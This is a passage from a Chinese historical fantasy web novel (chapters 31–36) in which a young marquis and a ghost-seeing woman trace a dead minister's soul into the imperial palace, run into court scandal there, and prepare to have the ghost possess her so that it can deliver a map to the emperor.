用父亲的话来说,是个不错的文官。
而对于这个人,任风玦脑海中也只剩了这些印象。
此时乍然再联想到这个人,竟有种不真实的感觉。
“既是让你们‘接人’,为何不光明正大地接?躲躲藏藏又是为何?”
知道任风玦不好应付,地上的人哆嗦着不敢答。
“好好想清楚了再回答我的话,若敢有一句隐瞒,你知道下场。”
那人吓得往地上连磕了好几个响头。
“小侯爷,小人不敢隐瞒啊。”
“穆侍郎的原话是,无论如何都要带那位姑娘来见他。”
“我们是奉命行事,再多的,实在是不清楚了。”
听到这里,任风玦心里也算有了底。
这个穆铮,就算没有不轨之心,也绝对有事隐瞒。
无论这个“夏熙墨”是不是真正的夏熙墨,他的所作所为,都很有问题。
念及此,任风玦在心里做了一个决定。
“既如此,你回去告诉穆侍郎,这位姑娘,在我这里很好,不劳他多费心。”
“他若一定要见,那就请他来我任宅相见。”
“若再让我知道,他暗中找这位姑娘的麻烦,可别怪我任风玦不讲礼数了。”
听了他的一番话,地上的人一叠声地应了。
“放他走。”
天已完全黑透,阿夏在车前挂起两盏风灯。
而这时,街口方向,一道单薄的身影正慢慢从里面走出来。
任风玦一眼望去,似乎有些意外。
夏熙墨也不料对方还在这里等她。
两人的目光,在黑夜中遥遥对视,最终还是任风玦先开了口。
“肚子饿了,夏姑娘一起用晚膳吧?”
第31章 觅魂
东市的“醉华楼”,向来门庭若市。
作为上京第一酒楼,一直深受达官显贵的青睐。
任风玦不爱凑热闹,但毕竟是第一次请人吃饭,多少要有些诚意。
进入楼内,掌柜一眼就认出了他,忙不迭就将他们往二楼雅阁内引,选的还是朝向最好的“芙蓉阁”。
点完菜后,夏熙墨站在窗边朝外打量,却一眼就看到了衔接在东市与西市之间的那座桥。
由于酒楼地势高,俯瞰之下,她才发现,桥下的那条河其实也衔接着皇城的护城河。
而孟志远魂魄的朝向,正是皇宫的方向。
“如何?夏姑娘方才进孟宅可有收获?”
任风玦正在品醉华楼独有的“松间酿”,此酒没有烈性,入口清甜,一般用作于餐前酒。
夏熙墨回头看了他一眼,心里其实并不想答。
但是,有一个地方,还非得靠他才能进得去。
毕竟有求于人。
“孟宅内只有一缕散魂。”
她这样回答着,怕他听不懂,倒又破例补充了一句:“鬼亦有三魂七魄,三魂为两缕散魂,一缕主魂。”
“散魂无主,可视不可言,唯有找到主魂,才能知道真相。”
任风玦听完这番话,似乎并没有多么惊讶。
他甚至点了一下头,又尝了一口酒,才问道:“那夏姑娘可有办法找到他的主魂?”
夏熙墨也不绕弯子,直言道:“我猜,他的主魂,最有可能去的,是皇宫。”
任风玦正要说话,阁外走廊上忽然传来细碎的谈话声。
是两名女子。
一人说道:“慧君,听说了吗?庄御史家的小姐,突然中邪了。”
被称作慧君的女子讶然道:“这般突然?听说白日里不是还在天香阁里闹了笑话?”
“就是在天香阁里晕倒了,回来后更加不对劲了,听她府上的奶娘说,上吐下泻,还满口胡话。”
“啧啧。”
“禹王殿下得知后,还专程从太医署请了御医过去看诊,可惜就连御医也是束手无策,这才发现是中了邪。”
慧君冷笑一声,“活该啊,这明显就是遭了报应,不过我倒挺想知道,白日在天香阁敢与她争螺子黛的人,究竟是谁家女子?”
“这就不太清楚了,听说不像是京中人,估计是外地来的…”
随着一声轻咳,谈话声中止,脚步声也跟着远去。
夏熙墨虽然听在耳里,却是面不改色。
好似这一切都与她无关。
任风玦倒是一边品酒,一边留意着她的神色。
对于白日在天香阁内发生的事情,阿冬早就一五一十告知给他了。
当时听完,他其实并不惊讶。
夏熙墨连他都不会放在眼里,以她的胆量,别说什么庄小姐,只怕连皇帝都不怕…
任风玦收回思绪,又呷了一口酒,这才问道:“夏姑娘的意思是,要去皇宫找?”
“不错。”
果然猜得不错。
任风玦不禁失笑,放下酒杯后,却道:“皇宫可不是什么人都能去的。”
夏熙墨反问:“连你也没有办法?”
语气带着质疑。
任风玦莫名一噎,还没答话。
夏熙墨竟连一句解释的机会都不给:“既如此,我找别人就是。”
“……”
好在这时,伙计们开始陆续上菜,才不至于让这段沉默显得过于冗长。
一道道色香俱全的菜肴很快就被摆上了桌。
任风玦这才想到自己是来吃饭的。
只是,他这个请客的人还没说话,那边的夏熙墨又率先拿起筷子,直接开始夹菜。
还是一样不拘礼法,也一点不跟他客气。
对此,任大人只是莞尔,继而斟酌着说道:“其实想进皇宫也不是什么难事,恰好后日是定安公主的生辰宴,她已递了一张请帖…”
“后日可以。”
夏熙墨似乎只打算听他话里前半句,并不忘提醒他:“离你答应我的日子,还剩了六天。”
任风玦再次无话可说。
但转念一想,若一切真如她所言,能助她找到孟志远的魂魄,似乎离破案也就不远了。
虽然这些听起来很是荒唐,却可以证实一些东西…
比如,她真的能看到鬼魂。
又比如,曾经发生在自己的身上的一些经历,也是真的。
当然,还有更重要的一点,需要慢慢查明。
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>那便是——夏熙墨的所作所为,究竟是为了什么。
——
入夜,庄家内苑。
下人们正忙得焦头烂额。
御史中丞庄户才从外面回来,听说女儿出事,便急匆匆往内苑赶。
然而,还没走到门口,就听到夫人章氏哭得撕心裂肺。
“我的攸儿啊,你这究竟是怎么了呀?”
“究竟是谁害得你如此啊?”
庄户心下一沉,加快步伐走进室内,一股难闻的污浊之气顿时扑面而来。
他下意识掩住口鼻,一眼望去,只见两个婢女正拿着痰盂跪在床边。
而自己那向来千娇万宠的宝贝女儿,则往盂中不停吐着黑水。
“老爷,老爷你快想想办法啊!”
见到丈夫,章氏哭得愈发伤心。
庄户心里也着急,却只能阴沉着脸问:“白天是谁跟着小姐出门的?”
章氏抽噎道:“那两个贱婢已经拖出去了,说是和攸儿去了一趟天香阁买胭脂,和人起了争执,攸儿忽然就晕倒了过去!”
“方才禹王殿下已经请太医署的人看过了,施了针,也喝了药,却一点作用都没有。”
庄户听罢,心更是沉到了谷底。
这好不容易才将女儿与禹王的婚事定下来,要是真出了什么事,这桩婚事可就毁了!
他无奈拂衣袖:“再去请人看,只要能医治好我儿,多少钱都给!”
庭中,庄攸的两个贴身婢女已经被护院打得奄奄一息。
而不远处的凉亭内,禹王赵骍也在沉着脸训人。
“没用的东西,你们十几个人,连个人都护不住,统统是饭桶!”
金羽卫领将裴勇跪在地上,吓得额头都涔出冷汗,他只能解释道:“当时,属下确实是听了庄小姐之命,在楼下抓人,谁知事发突然。”
赵骍冷哼一声,“那人呢?”
裴勇答不上来,便生生挨了对方一脚。
“废物东西!”
面对盛怒的禹王,裴勇再不敢多言,只道:“请王爷给属下一些时间,属下就算翻遍整个上京城,也要将人找出来!”
赵骍冷睨着他,“那本王就给你两天时间,找不出来,直接提头来见我。”
第32章 皇宫
以金羽卫的实力,想要在上京城找一个人,其实并非难事。
而且,裴勇运气也不错,仅花一天时间,事情就有了眉目。
只是,结果却令他愕然。
因为这人,竟与仁宣侯府的小侯爷任风玦有关。
这下,就是借裴勇一百个胆子,他也不敢再继续往下查了。
于是,只能硬着头皮将事情告知给了禹王赵骍。
赵骍得知后也很吃惊。
这个任风玦近年来可是朝中的风云人物,自他代管刑部以来,一桩又一桩的旧案都被掀了出来。
朝中不少人都惧怕他。
连赵骍也多少有些忌惮。
不过,都说任风玦作风清正,向来不近女色,也正是这样的君子做派,才将定安公主迷得团团转。
若不是因他有婚约在身,定安只怕早就求父皇降旨,召他为驸马了。
可眼下,他忽然在宅中藏了一个女人?
难道是他那位传闻中的未婚妻?
可就算真是,两人尚未成婚,却已经住在一起,未免有失体统。
这样想着,赵骍心里忽然有了一个主意。
——
定安公主赵若臻是庆康帝最宠爱的小女儿。
她生母也曾是庆康帝最喜爱的妃子,可惜红颜薄命,产下定安没多久便因病去世。
故此,自幼丧母的定安公主更加受皇帝偏爱,不仅早早得了封号,且每年的生辰日,都会特许在御花园中,举办生辰宴。
这一日,任风玦起得很早,但没想到,夏熙墨比他更早。
为了避免不必要的麻烦,她将扮作小侯爷的贴身小厮一同入宫赴宴。
而在天青的妙手操办之下,夏熙墨的“小厮妆”也算是惟妙惟肖。
要说唯一不足的点,那便是五官过于清丽。
她生得太美,再浓重的笔墨,都掩不住眉眼之间的“女气”。
不过,尽管如此,只要有任风玦这号人物在,进入皇宫,还是十分顺利。
巳时左右,众宾客陆续入了御花园,且各自落座。
任风玦因有定安公主特别关照,所处的座位不仅靠前,还与公主极近。
对于这些,他倒是早有预料。
然而,才刚落座,便见到一名粉衣少女在宫女们的簇拥之下,一路小跑着过来。
“风哥哥,我今日的裙子好看吗?”
尽管四周那么多双眼睛盯着,定安公主也丝毫不避讳,她牵着裙摆,自顾自在任风玦面前转了几圈,眉目流转,笑容嫣然。
这场面,宾客们可不敢多看,连忙起身行礼:“参见定安公主。”
任风玦还没来得及开口,便听见一道爽朗的笑声尾随而至。
众宾客听出是皇帝的声音,随即又行万岁礼。
“若臻,今日可是你十五岁生辰,忘了昨日才答应父皇的话了?”
面对最宠爱的小女儿,庆康帝一改往日正言厉色的模样,面上淌着笑意,语气里也全是宠溺。
定安公主只是回头吐了吐舌头,直接走到任风玦身边,亲昵地拉起他的衣袖,小声撒着娇。
“风哥哥,你还没回答我呢?”
她眼角的余光一扫,已瞥见立在任风玦身后的小厮,又充满了好奇。
“这人是谁?怎么以前从没见过?”
任风玦悄悄将衣袖从公主手中抽离,继而眉目不惊地回道:“以前从未带她入宫,公主殿下自然没见过。”
安定公主闻言,便仔细打量了夏熙墨一番。
她一双眼睛黑白分明,且炯炯有神,看起来有几分天真。
“他生得真好看,比之前那些人都好看。”
“……”
任风玦掩唇轻咳了一声,又悄悄看了夏熙墨一眼。
面对夸奖时,她还是一脸漠然。
压根也没给公主面子。
随着皇帝与公主到场,宴会也跟着正式开始了。
第一轮是宾客献贺礼诵贺辞。
为讨公主欢心,这一环节可谓是精彩纷呈。
无人关注之下,夏熙墨悄然离了场,就连任风玦也是过了一会儿才察觉。
皇宫内苑实在太大,仅御花园内大大小小的通道,就令人应接不暇。
避开人群后,夏熙墨直接拿出渡魂灯,让无忧负责找孟志远的鬼魂。
而凭着阴魂身上的一缕
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“灰烬”,它倒是很快就找出了大概方位。
东南角。
看来猜测得不错,孟志远的主魂果然在皇宫。
既然确定了目标,夏熙墨当即刻不容缓往东南角方向去。
然而,却在一个岔路口处,迎面走来两人。
出门前,任风玦倒是大致说了一些宫廷规定。
但她没什么耐心听,只记住了两个字——避人。
此时听见脚步声,她当即侧身路边,垂首等人过去。
然而,两人从她身旁经过时,后面那人明显顿了一下足,像是发现了什么。
好在他们要赶往公主的生辰宴,并没有多加停留。
听见脚步声远去,夏熙墨才继续前行。
出御花园后,无忧专挑没人的小道,却也不可避免会遇到太监宫女。
只是,毕竟是公主生辰宴,这些人忙得几乎脚不沾地,根本无暇顾及他人。
走了大概一刻钟左右,无忧才说道:“近了,应该就在这里了。”
夏熙墨抬头,只见面前是一座宫殿,牌匾上正刻着“东升殿”三字。
“听说,这是皇帝召见群臣论事的地方。”
无忧向她解释。
夏熙墨才不管这是什么地方,只问:“看见孟志远的主魂了吗?”
无忧努力嗅了嗅气味,才指向殿内。
“应该在里面。”
夏熙墨正要往里走,却又发现门前还守着两名护卫。
看来,想要进门,还得再过一关。
她藏在衣袖内的手指动了动,无忧却立即拦住了她,并自告奋勇地说道:“这两人便交给我吧,你还是少用一些魂力为妙。”
夏熙墨立即松开手指,转头看向它。
只见无忧化作一缕白烟,飘到那两名护卫跟前,并朝他们轻轻吹了一口气。
两名护卫顿时僵住,立即瞪圆了双眼,愣在原地。
“可以了。”
无忧得意冲她招手。
夏熙墨眯了一下眼睛,难得有了一点兴趣:“这又是什么伎俩?”
无忧却嘿嘿一笑,“就是请他们进灯里玩一会儿,不过撑不了多久,咱们得尽快。”
第33章 变故
夏熙墨刚踏入东升殿,耳根子便动了一下。
有人。
而且还不止一个人。
她微眯着眼睛,视线扫过殿内陈设,慢慢挪到那一列列书架之后。
原来,这座宫殿其实比想象中还要深。
除去皇帝召见大臣所设的堂室之外,后面还有一个小室,似乎是用作于储放一些书册与物品。
细微的动静,正是从最深处传来。
无忧顺着她的视线飘荡了过去,然而还没有一会儿又灰溜溜地飘了回来。
“…你还是别看了!”
“里面有人…在行苟且之事!”
“不过我已经请他们进灯里玩了。”
夏熙墨没应声,更没有多大的反应。
只问:“看见孟志远的魂魄了吗?”
无忧指向一旁,“它在那儿。”
天子案前,空无一人,却有一缕魂正佝偻着背跪在地上,手里正捧着一卷画轴。
夏熙墨慢慢朝它靠近,唤了一声,“孟志远。”
那缕魂愕然抬头,眼里似乎满是惊恐,“你…看得见我?”
“我是来找你的。”
闻言,孟志远踉跄着跌坐在地,又连连后退了数步,“你…是鬼差?你要带我走?”
“不,我不走,我还没有将这幅舆图交给皇上…”
它情绪激动,显然害怕极了。
“我不是鬼差。”
夏熙墨问:“我只想知道,你为何会在书房内**?魂魄又是因何而散?”
听到“**”二字,孟志远立即面露痛苦之色,身上也开始不断有黑灰掉落。
“我并非**,当时的火…是自己烧起来的。”
“我也不知道为何会那样!”
它努力回忆着那晚,眼底却渐渐流露出一丝迷惘之色。
那晚,孟志远还在书房中修拟漕粮转运的舆图。
虽然其中细节已推敲了无数次,他依然觉得不满意。
总认为,还有更快更好的路线…
夜已经很深了,妻子来书房看了几次,并替他端来一碗参汤。
她总是静静地不说话,眼里藏着关切与温柔。
她说:“老爷,近子夜了,明日你还要上早朝,记得早些就寝。”
他低低应了一声。
妻子替他挑亮了烛灯,口中溢出一声轻叹,便默默离开了书房。
孟志远也不知自己坐了多久,身体开始有了乏意。
忽然之间,他听见书房传来一声轻响。
“夫人?”
以为是妻子又来催促自己就寝。
他唤了一声,便合上手中画卷,起身离案。
可房内并不见妻子的身影。
孟志远正觉得纳闷,身后似有疾风掠过,他猛然回头,却见一抹黑影迅速从自己身体穿过。
下一秒,桌上的火烛应声而倒,并顺势燃起了案上画卷。
他慌忙想要上前,却发现了更加诡异的一幕。
此刻的自己,竟已化为虚无…
而不远处的地方,却躺着自己的躯体。
他变作了一缕魂,无能为力,只能看着火舌吞没了整个书房。
听完孟志远的陈述,夏熙墨眉头深蹙。
难怪孟志远的鬼魂执念那么深,原来竟死得这般蹊跷…
如果他所言属实,那很大可能并非人为。
然而,就在夏熙墨正打算继续问下去时,殿外忽然传来一阵急促的脚步声。
孟志远的鬼魂也在此刻应声而散。
跟着,一道身影伫立在她的身影,并伸出一只修长白净的手捂住了她的嘴巴。
“嘘。”
来人做了一个噤声的手势。
并将她拉至一旁的围屏后。
夏熙墨瞪着眼睛望过去,却发现面前之人是任风玦。
这也就说得通了。
有他在的地方,鬼魂都会自觉遁形。
可他为何会出现在这里?
她甩开他的手,正要问话,殿内却气势汹汹涌入不少人。
只听见一道威严的女声斥道:“把那对奸夫**给本宫抓出来!”
任风玦面上闪过一丝不自然。
尽管,他知道对方说的不是自己。
但夏熙墨却像是不知情,并看了他一眼,那眼神仿佛在问:说的可是你我?
任风玦直接摇头,轻声在她耳边说道:“不是说我们。”
温热的气息拂过她的耳垂,带来异样的感觉。
心里也顿时怪怪的。
夏熙墨不解,也不想解,
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只想着赶紧出去。
但看这情形,好像一时半会儿还出不去。
屏风外很热闹。
因为那对“奸夫**”已经被带出来了。
两人衣衫不整,却被迫跪在了六宫之主章皇后跟前。
男人不停求饶:“求皇后娘娘饶我一命,都是太子妃她…她勾引我在先!”
反倒是一旁的太子妃唐氏竟一脸平静,并没有因为被人抓个正着而感到慌张。
她不认罪,甚是眼神轻蔑,丝毫没有悔意。
章皇后气得当场给了她一巴掌,却吩咐道:“把这个混账东西拖下去,直接乱棍打死。”
“娘娘恕罪!娘娘恕罪!求娘娘——”
男人因惊恐而不停惊叫,却很快被人捂住嘴巴拖走了。
殿内,章皇后怒气未平,到底还是看重皇家脸面,先吩咐道:“来人,先替太子妃更衣。”
宫女们从里面找来二人先前缠绵时褪下的衣衫,替唐氏一件件穿上。
只见她白皙的后背,竟密密麻麻全是鞭痕,明显是旧伤还未好,就被新伤给覆盖。
宫女看得触目惊心,却是一声也不敢吭。
章皇后望着跌坐在地上的女子,怒火虽渐渐平息,面上却是一阵青红不定。
片刻后,她却深深叹了口气,说道:“今日之事,本宫只当没有发生过,唐月琅,你好自为之!”
地上的女子没回话。
门外又传来声音,“公主,你慢点呀,别跑那么快。”
章皇后神情微滞。
随即,只见一身粉衣的定安公主出现在殿门外,一脸惊讶。
“皇后娘娘?”
天真烂漫的公主又哪里知道这里发生了什么,笑着上前行礼,“若臻见过皇后娘娘,娘娘金安。”
同时也向一旁的太子妃行了一礼。
章皇后勉强露出一抹笑意,“若臻这会儿不是应该在御花园吗?怎么来了这里?”
定安公主答道:“我刚看见风哥哥往这边来了,可是一眨眼便不见了人。”
又问:“娘娘,你可有见到他?”
闻言,章皇后脸色骤变,她下意识扫了一眼宫殿深处,迟疑着问:“你是说,小侯爷刚刚也在这儿?”
第34章 皇后
屏风后,夏熙墨侧头看了任风玦一眼。
似乎在询问他,这种情况要如何应对…
两人距离贴得极近,这种可视而不可言感觉,难免会透着几分说不清道不明的暧昧之意。
微妙的感受,在任风玦心里一掠而过。
默然间,还是屏风外的章皇后开口了。
“本宫并没有在此处见过小侯爷。”
她回答得笃定,又道:“公主定然是看错了,还是去别处找找吧。”
闻言,定安公主多少有些失望,但她也不纠结什么,反而欣然道:“好吧,听娘娘的,若臻去别处看看。”
“若臻先告辞了。”
章皇后笑着点头,又吩咐贴身女官亲自送她出门。
一直望着公主身影远去,她才慢慢敛起笑意,向一旁的宫女吩咐道:“送太子妃回去,禁足寝宫,未得本宫旨意,不得出东宫。”
送走了太子妃唐氏,章皇后又屏退了左右的太监宫女,并令他们合上殿门。
这阵势,显然是发现了什么。
“小侯爷,还要本宫亲自请你出来吗?”
闻声,藏在屏风后的任风玦微微一笑,只能坦然现身。
章皇后一眼望去,又吃了一惊。
室内竟藏了两个人…
任风玦看了一眼章皇后的脸色,当即主动执起夏熙墨的手,上前行了一礼。
“风玦携未婚妻夏氏,给皇后娘娘请安,”
听了这话,章皇后眸中闪过一丝复杂之色,她明显有些诧异:“这位便是夏将军之女?”
任风玦微微抬头,不亢不卑:“回娘娘,正是。”
章皇后倏尔一笑,目光却在夏熙墨身上流连了一圈,倒没有怀疑什么。
眼前之人虽作小厮装扮,但细看之下,无论是身形,还是眉眼,都十分清逸秀丽,确实是个女子。
而且,还是个美人。
“夏姑娘为何作这身装扮?”
她只表示不解。
任风玦不紧不慢地解释道:“她来京已有一些时日,却不曾到过宫中,风玦便一时斗胆提议,想趁公主诞辰,带她来看看。”
“又想着此行并非天家或娘娘召见,不宜以**示人,这才扮作‘小厮’,与我同往。”
“不过,这般做法终究有失规矩,皇后娘娘若要怪罪,风玦无话可说。”
一番话说得滴水不漏,倒是把什么罪责都揽下了。
章皇后皮笑肉不笑,“哦?本宫还当是什么事呢。”
也不知她信不信话里的真假,只附和道:“夏姑娘是镇国大将军之女,功臣之后,她能来皇宫,本宫自是欢喜。”
她语气一转,又道:“倒是本宫执掌不周,让小侯爷和夏姑娘撞见这般丑事,实在是见笑了。”
任风玦连忙道:“夏姑娘在御花园里迷了路,我一路寻她,才与她误打误撞进了这宫殿。”
“至于,此处发生了什么,实在一概不知。”
章皇后又是一笑,算是对此次的隐秘之事达成了心照不宣。
“如此更好,不过这东升殿可不是什么‘玩’的地方,二位不如尽快回到宴席上去,以免公主担心。”
“是,风玦这便告退了。”
任风玦说着,又牵起夏熙墨的手,就要往殿外走去。
“等等。”
望着他二人依然紧握在一起的手,章皇后眼底明显流露出一抹异色,只听她用颇为感叹的语气说道:“倒没想到小侯爷对夏姑娘如此情深意重。”
“夏姑娘。”
章皇后提声唤夏熙墨,目光又在她身上流连了一圈,唇角露出笑意:“日后常来后宫走走,本宫瞧着你就喜欢。”
夏熙墨不打算恭维什么,但任风玦那只与她相握的手,却明显紧了紧。
她虽不情愿,但还是一板一眼地回道:“好的皇后娘娘。”
章皇后见她面色与声音一般冷淡,不禁想到许多年前,那位大亓第一女画师进宫献画时的清冷模样。
这样想着,如今的夏熙墨,与当时的穆如卿,无论是性情与外貌,确实有七八分相似。
殿门被打开,任风玦牵着夏熙墨走了出去。
守在门口的宫人闻声悄悄抬头看了一眼,复又垂下,显然不敢多看。
一直走了很远一段路,任风
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玦才想起松开夏熙墨的手。
他解释道:“章皇后生性多疑,若我不这么做,她必然不会相信。”
“嗯。”
夏熙墨依然只是淡应了一声。
任风玦微顿,又说道:“方才多有得罪…”
夏熙墨面色淡淡,似乎不解:“得罪什么?”
“……”
这倒把他给问住了。
看样子,她还是一点都不在乎这些。
任风玦一时无话可说。
心下又想,自与她相识以来,就没见她将闺阁女子所在意的那套声名礼节放在眼里过。
甚至在锦绣衣庄的那次…
任大人只能深吸一口气,不自在地转移了视线,“罢了,没什么…”
他将话题一转,问道:“方才在‘东升殿’可有发现什么进展?”
怕她会想到别处,他又补充了一句:“我是指孟志远鬼魂之事。”
夏熙墨淡声:“他确实死得很蹊跷。”
“此话怎讲?可是有人在暗中捣鬼?”
“不是人。”
任风玦蹙眉。
这种说法,确实在他预料之外。
夏熙墨也知道这事远比自己预料中更加棘手。
恶人可怕。
恶鬼只会更可怕。
“孟志远的鬼魂告诉我,当时的他,在书房中被一抹黑影穿过了身体。”
“之后,他的躯体便与魂魄分离了。”
“其他的,暂时还未来得及问。”
说到这里,她深深看了任风玦一眼,却道:“或许你不知道,你体内自带一股特殊气息,鬼魂不能靠近,方才就是你出现后,他才遁形的。”
任风玦微微一顿,神色也在此时发生了明显变化。
他的反应看起来有些怪,似是惊讶,却又像是知道一些什么…
片刻后,才回道:“我竟不知,会有这种事。”
夏熙墨心里虽有好奇,却也不打算多问。
“你看不到鬼魂,自然不会知道。”
任风玦问:“那可还有办法再找到孟志远的鬼魂?”
夏熙墨不语,却摇了摇手里的渡魂灯。
“出来。”
第35章 至阴
无忧虽不惧怕阳气,却惧怕任风玦。
它在渡魂灯里抖了抖:“你旁边站着那么一尊大佛,我哪敢出来?”
夏熙墨眉头轻拧:“不出来也行,告诉我孟志远的主魂现在何处?”
任风玦见她对着灯说话,但四周却听不到任何回应。
心想,或许她真能通“鬼语”?
半晌后,夏熙墨放下灯,问他:“你可知道,皇宫最正中的位置,是哪里?”
任风玦不假思索:“应该是御极殿。”
“作何用处?”
任风玦尽量解释得易懂:“是上早朝的地方。”
他问:“孟志远的鬼魂在那里?”
夏熙墨点头。
如果她猜得没错的话,孟志远只会去他生前常去的几处地方。
或许,只有见到皇帝,送出手里的舆图,才可以了却他最后的执念。
“可有办法,让皇帝来一趟御极殿?”
她这样问。
任风玦却一下子就懂了她的心思,问:“孟志远在人间的未了之愿,就是见皇上?”
夏熙墨道:“准确来说,他是想把画好的舆图亲自交给皇帝。”
“可人鬼殊途…”
任风玦本想说,皇帝的肉眼看不见鬼魂,此事恐怕行不通。
转念一想,似乎还有一条选择。
“附身。”
夏熙墨直截了当地说道:“必要的时候,我会让孟志远直接附我的身。”
“…”
任风玦犹豫着问道:“非得如此的话,这个人也不一定要是你…”
“只能是我。”
夏熙墨语气笃定:“孟志远滞留在宫中的只是一缕魂,阴气尚弱。”
“眼下只有至阴之躯,才能容纳它的这缕魂。”
“短时间内,除了我,你恐怕很难找到第二人。”
听她这么解释,任风玦才知其中的条件。
他忽然愣了一下。
至阴之躯…
那得是阴年阴月阴日阴时出生的人。
从命理来讲,这类人生来就是天煞孤星,会克死自己至亲之人。
任风玦记得,自己十岁那年,曾听人提起过一次。
是他房中的一位奶娘。
那个午后,奶娘哄完他睡觉,便在檐下与几个婢女说闲话。
“要我说,夏家的那位就是天煞孤星,接连克**父母,自己还是个药罐子。”
“侯爷侯夫人也是心善,将军府都散了,这桩婚事却还留着作甚?”
“可怜的冬郎,将来娶了这样的女子回家,还不定会如何…”
细碎的话语,若隐若现传进了他的耳里。
一时竟让他分不清是梦境还是现实…
可等他醒来之后,那位奶娘便从房中消失了。
大一点后,他才知道,那天是因为母亲碰巧经过,听到了那些话,当即便下令,将奶娘逐出了侯府。
得知此事后,他很长一段时间都会忿忿不平。
为了一个素未谋面的人,与一桩莫名其妙的婚事,而失去了一位疼他的奶娘…
他一直耿耿于怀。
而今,再想到此事,任风玦却有了不同的看法。
连自己府上的奶娘尚且会说出这种话。
那寄人篱下的夏熙墨,又会如何?
在那样的地方,即便顶着将军遗孤之名,也必然会遭人非议…
而以穆铮对待她的态度可见,这位舅父又能有几分真心?
任风玦慢慢回过神来,却见夏熙墨正用那双黑亮的眼睛盯着自己,似乎在等回话。
“既如此…”
他道:“我只能试一试。”
夏熙墨这才点头:“那我先过去,你把皇帝带过来就行。”
“……”
这话说得真轻松。
那可是皇帝。
换作旁人哪敢说出这种话?
偏偏任风玦还拒绝不了,并且鬼使神差地选择再信她一回。
“好。”
——
任风玦回到宴席上时,定安公主正在使小性子。
见他归来,明显开心了一下,随即又哼了一声,抱着手臂转过身去。
庆康帝见状,也朝这边看了一眼。
为了哄女儿开心,他佯装正色道:“你若再不回来,朕可要派金羽卫去押你了!”
任风玦上前,向皇帝与公主同时行了一礼,“臣方才因想到一些事情,这才不得已走开了一会儿,请公主恕罪。”
定安公主闻言,又气鼓鼓地走到他
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跟前来,背着双手斥责道:“我找了你好大一圈,脚都走痛了!”
“你到底干什么去了?”
任风玦一笑,却望向庆康帝,说道:“前几日,臣与陛下曾对弈了一局…”
庆康帝爱好下棋,即便是日理万机,也必须要抽空下一局。
然而,朝中虽有不少棋手,但大多慑于君威,要么唯唯诺诺不敢落子,要么曲意逢迎有意让子。
真正能与他畅快较量的,便只有任风玦这么一个。
几日前,两人在御极殿的偏殿内对弈了一局。
庆康帝险胜一子,当即放话,只要任风玦能想到破解之法,随时可以来御极殿找他…
“所以,任小郎是想到了破解之法?”
一旦说到下棋,庆康帝简直眉飞色舞,连对任风玦的称呼都亲近了许多。
任风玦答道:“若陛下允许的话,现在就可一试。”
“好。”
庆康帝二话不说就站起身来,“朕与你先去一趟御极殿。”
定安公主不满撅着小嘴,哼哼道:“父皇,我也要去…”
“若臻,这么多宾客在场,你且先坐会儿,爹爹去去就来。”
下棋切忌分心,庆康帝生怕掌上明珠捣乱,便向一旁的戚贵妃递了一个眼神。
定安公主自小长在贵妃宫中,后宫这么多人,她最怕的就是戚贵妃。
“若臻。”
一声轻唤,便让公主坐回了自己的位置上,并乖乖看着庆康帝与任风玦离去。
她轻哼一声,拿起桌子茶水喝了一口,又独自生了一会儿闷气。
这时,她三哥禹王却悄悄走了过来。
“六妹妹,喏,三哥给你的生辰礼。”
禹王笑着送来贺礼,是一颗如鸽子蛋大小的明珠。
定安公主立即眼前一亮:“谢谢三哥,这珠子可真漂亮,三哥在哪儿得来的?”
“只要是六妹妹喜欢,即便是东海的龙珠,三哥也替你采来!”
兄妹二人说了一会儿话,定安公主这才重展笑颜。
然而,趁着公主高兴,禹王忽然语调一转,问道:“若臻,近来京中有个传闻,是关于你那位‘风哥哥’的,不知你听说了没有?”
第36章 附身
御极殿旁的偏殿内,不等宫人布好棋案,庆康帝就已执起棋子,跃跃欲试。
“上回朕险胜一子,就等着你来破局。”
“来,这回你先落子。”
任风玦看了一眼棋盘,微微笑着,却道:“陛下,在落子之前,臣恳请陛下先见一个人。”
庆康帝面上微滞,见他这样卖关子,多少有些不悦。
“朕就说,你这人向来沉稳,怎会为了一局棋而急于一时,原来还藏了别的心思!”
到底是自己器重的臣子,他还是打算给个机会,“说说看,你想朕见什么人?”
任风玦顿了顿,却说出了一个惊人的名字。
“工部尚书孟志远。”
“你说什么?”
庆康帝还以为自己听错,执棋的手,也跟着慢慢垂下来,面上隐有怒容。
他厉声问:“孟志远不是已经**吗?你这话又是何意?”
任风玦直接撩起衣摆,从容跪在天子跟前。
“此事虽听来荒唐,但臣以性命担保,绝不敢说半句谎话欺瞒陛下。”
“好!”
若此时在自己跟前的人不是任风玦,只怕已经被拖下去受罚了。
但他太了解任风玦的品性,知道他向来行事严谨,进退有度。
似今日这般,着实还是第一回。
庆康帝倒是很想知道,自己向来信任的臣子,葫芦里究竟卖的什么药。
“那你把人带来,让朕见见。”
任风玦又垂首一拜:“臣恳请陛下移步御极殿。”
庆康帝又是一噎,忽而又朗笑一声。
他起身拂袖,又伸手点了一下任风玦,跟着一语不发,直接朝御极殿方向走去。
御极殿前,两名护卫立得笔挺。
但奇怪的是,即便是远远看见皇帝走来,二人也只是瞪圆了双目,视若无睹。
对于这般古怪的现象,庆康帝皱眉不语,跨门槛进殿内,却见一抹单薄的身影跪在殿中。
他步子微顿,再走近些,才发现那人竟作小厮装扮,身前则摆放着笔墨纸砚。
“小厮”正在纸上画图,落笔极快。
大亓的江山脉络在他笔下一点点明晰…
山川、江海、各州、各地,一点连成一线,组成一条最清晰明了的舆图。
庆康帝只看一眼,就瞬间明白了。
这份草图,他看过一次。
昔年,南北交境之地,有一段地势极不明朗,曾出过几次赈灾粮款被劫事件。
可气的是,层层追查之下,却只能追究当地官员之责,最终,都未能查到粮款下落。
而此类事件发生,竟还不止一次。
正所谓“天高皇帝远”,就算庆康帝派钦差前去密查,结果都是一无所获。
皇帝震怒,每每提及此事,都会大发雷霆。
工部尚书孟志远却在这时站出来,借以漕粮转运之名,打算密修一份新的舆图。
为此,他曾微服私访,亲往实地勘察,花了大半年时间,果然让他规划出更好更快更稳妥的运送路线。
可惜的是,庆康帝未能等到完整的舆图,孟志远就出事了…
他**在书房中。
尸体连带着那份图,皆被烧成灰烬。
此时,庆康帝望着地上的人,心下一阵惊疑不定。
他可以肯定,对方不是孟志远。
“你…是谁?”他出声问。
跪在地上的人,后背一震,却没有抬头,而是用更快的速度,蘸墨、下笔、勾画、重复数次。
“他”知道,留给自己的时间已然不多。
庆康帝惊疑不定,又提声问:“你究竟是谁?回答朕!”
震于君威,“小厮”身体抖得更加厉害。
但他依然不停笔,直到最后一笔落下为止…
